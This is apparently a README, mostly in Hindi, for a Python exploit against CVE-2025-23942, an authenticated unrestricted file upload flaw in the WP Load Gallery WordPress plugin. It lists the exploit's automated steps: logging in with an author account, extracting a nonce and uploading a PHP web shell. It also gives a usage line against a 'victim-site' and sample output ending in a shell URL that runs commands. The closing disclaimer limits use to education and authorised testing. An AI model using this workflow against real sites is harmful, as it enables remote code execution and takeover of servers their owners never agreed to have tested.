WP Load Gallery Exploit (CVE-2025-23942)

📌 विवरण

NgocCode WP Load Gallery में खतरनाक प्रकार की फ़ाइल के अनियंत्रित अपलोड की भेद्यता वेब सर्वर पर वेब शेल अपलोड करने की अनुमति देती है। यह समस्या WP Load Gallery: n/a से 2.1.6 तक को प्रभावित करती है।

⚠️ भेद्यता विवरण

• CVE ID: CVE-2025-23942
• प्रभावित प्लगइन: WP Load Gallery
• प्रभावित संस्करण: 2.1.6 तक
• भेद्यता प्रकार: अनियंत्रित फ़ाइल अपलोड
• गंभीरता: गंभीर (9.1 CVSS)
• हमला वेक्टर: प्रमाणित (लेखक+) दूरस्थ कोड निष्पादन (RCE)
• पैच उपलब्ध: ❌ (अभी तक कोई आधिकारिक पैच नहीं)

🚀 एक्सप्लॉइट की विशेषताएं

✅ स्वचालित शोषण – नॉन्स निकालता है, लॉगिन करता है, और स्वचालित रूप से शेल अपलोड करता है।
✅ संस्करण जांच – शोषण से पहले लक्ष्य के कमजोर होने की पुष्टि करता है।
✅ त्रुटि प्रबंधन – विफलता के मामले में भी सुचारू निष्पादन सुनिश्चित करता है।
✅ सत्र प्रबंधन – प्रमाणीकरण के लिए स्थायी सत्र प्रबंधन का उपयोग करता है।
✅ रीयल-टाइम फीडबैक – प्रत्येक चरण पर आउटपुट प्रदान करता है।

🛠️ आवश्यकताएँ

• Python 3.x
• requests मॉड्यूल (pip install requests)
• लक्ष्य सिस्टम पर एक मान्य WordPress लेखक+ खाता

🔥 उपयोग

स्क्रिप्ट को आवश्यक पैरामीटर के साथ चलाएँ:

usage: CVE-2025-23942.py [-h] -u URL -un USERNAME -p PASSWORD

Exploit WP Load Gallery - Arbitrary File Upload

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Target WordPress URL (e.g., https://example.com)
  -un USERNAME, --username USERNAME
                        WordPress Username
  -p PASSWORD, --password PASSWORD
                        WordPress Password

उदाहरण:

python CVE-2025-23942.py -u http://victim-site.com -un author_user -p password123

📝 आउटपुट उदाहरण

   _______      ________    ___   ___ ___  _____     ___  ____   ___  _  _ ___  
  / ____\ \    / /  ____|  |__ \ / _ \__ \| ____|   |__ \|___ \ / _ \| || |__ \ 
 | |     \ \  / /| |__ ______ ) | | | | ) | |__ ______ ) | __) | (_) | || |_ ) |
 | |      \ \/ / |  __|______/ /| | | |/ /|___ \______/ / |__ < \__, |__   _/ / 
 | |____   \  /  | |____    / /_| |_| / /_ ___) |    / /_ ___) |  / /   | |/ /_ 
  \_____|   \/   |______|  |____|\___/____|____/    |____|____/  /_/    |_|____|

[+] Checking plugin version...
[+] Detected version: 2.1.6
[+] The target is vulnerable! Proceeding with exploitation...
[+] Logged in successfully.
[+] Extracting wplg_nonce...
[+] Extracted wplg_nonce: a1b2c3d4e5
[+] Uploading shell...
[+] File uploaded successfully!
[+] Shell is accessible at: http://victim-site.com/wp-content/uploads/2025/02/nxploit.php?cmd=id

📜 कानूनी अस्वीकरण

यह एक्सप्लॉइट केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है। इसे उन सिस्टम पर उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति नहीं है। लेखक इस स्क्रिप्ट के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है। ( Khaled_alenazi )